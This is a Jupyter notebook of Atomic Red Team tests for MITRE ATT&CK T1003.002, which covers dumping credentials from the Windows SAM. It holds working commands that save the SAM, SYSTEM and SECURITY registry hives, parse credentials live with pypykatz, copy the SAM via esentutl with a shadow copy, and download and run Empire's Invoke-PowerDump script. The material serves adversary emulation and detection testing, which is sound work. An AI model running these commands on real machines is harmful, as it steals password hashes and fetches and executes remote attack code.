<jupyter_start><jupyter_text>T1003.002 - OS Credential Dumping: Security Account ManagerAdversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.A number of tools can be used to retrieve the SAM file through in-memory techniques:* pwdumpx.exe* [gsecdump](https://attack.mitre.org/software/S0008)* [Mimikatz](https://attack.mitre.org/software/S0002)* secretsdump.pyAlternatively, the SAM can be extracted from the Registry with Reg:* reg save HKLM\sam sam* reg save HKLM\system systemCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)Notes: * RID 500 account is the local, built-in administrator.* RID 501 is the guest account.* User accounts start with a RID of 1,000+.  Atomic Tests<jupyter_code>#Import the Module before running the tests.
# Checkout Jupyter Notebook at https://github.com/cyb3rbuff/TheAtomicPlaybook to run PS scripts.
Import-Module /Users/0x6c/AtomicRedTeam/atomics/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 - Force<jupyter_output><empty_output><jupyter_text>Atomic Test 1 - Registry dump of SAM, creds, and secretsLocal SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumeratedvia three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `command_prompt````command_promptreg save HKLM\sam %temp%\samreg save HKLM\system %temp%\systemreg save HKLM\security %temp%\security```<jupyter_code>Invoke-AtomicTest T1003.002 -TestNumbers 1<jupyter_output><empty_output><jupyter_text>Atomic Test 2 - Registry parse with pypykatzParses registry hives to obtain stored credentials**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `powershell`! Description: Computer must have python 3 installed Check Prereq Commands:```powershellif (python --version) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellecho "Python 3 must be installed manually"``` Description: Computer must have pip installed Check Prereq Commands:```powershellif (pip3 -V) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellecho "PIP must be installed manually"``` Description: pypykatz must be installed and part of PATH Check Prereq Commands:```powershellif (cmd /c pypykatz -h) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellpip3 install pypykatz```<jupyter_code>Invoke-AtomicTest T1003.002 -TestNumbers 2 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptpypykatz live registry```<jupyter_code>Invoke-AtomicTest T1003.002 -TestNumbers 2<jupyter_output><empty_output><jupyter_text>Atomic Test 3 - esentutl.exe SAM copyCopy the SAM hive using the esentutl.exe utilityThis can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `command_prompt````command_promptdel %windir%\SAM & esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %windir%/SAM```<jupyter_code>Invoke-AtomicTest T1003.002 -TestNumbers 3<jupyter_output><empty_output><jupyter_text>Atomic Test 4 - PowerDump Registry dump of SAM for hashes and usernamesExecutes a hashdump by reading the hasshes from the registry.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `powershell````powershellWrite-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore greenSet-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction IgnoreInvoke-Webrequest -Uri "https://github.com/BC-SECURITY/Empire/blob/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1" -UseBasicParsing -OutFile "$Env:Temp\PowerDump.ps1"Import-Module .\PowerDump.ps1Invoke-PowerDump```<jupyter_code>Invoke-AtomicTest T1003.002 -TestNumbers 4<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.08954219030520646, 'fraction_numerical': 0.024685816876122084, 'mean_word_length': 6.415973377703827, 'pattern_counts': {'":': 0, '<': 25, '<?xml version=': 0, '>': 25, 'https://': 5, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '6', 'dir': 'jupyter-structured-clean-dedup', 'id': '222370', 'license': 'MIT', 'n_tokens_mistral': 1461, 'n_tokens_neox': 1288, 'n_words': 450, 'path': 'playbook/tactics/credential-access/T1003.002.ipynb', 'repo_name': 'haresudhan/The-AtomicPlaybook', 'size': '4456'}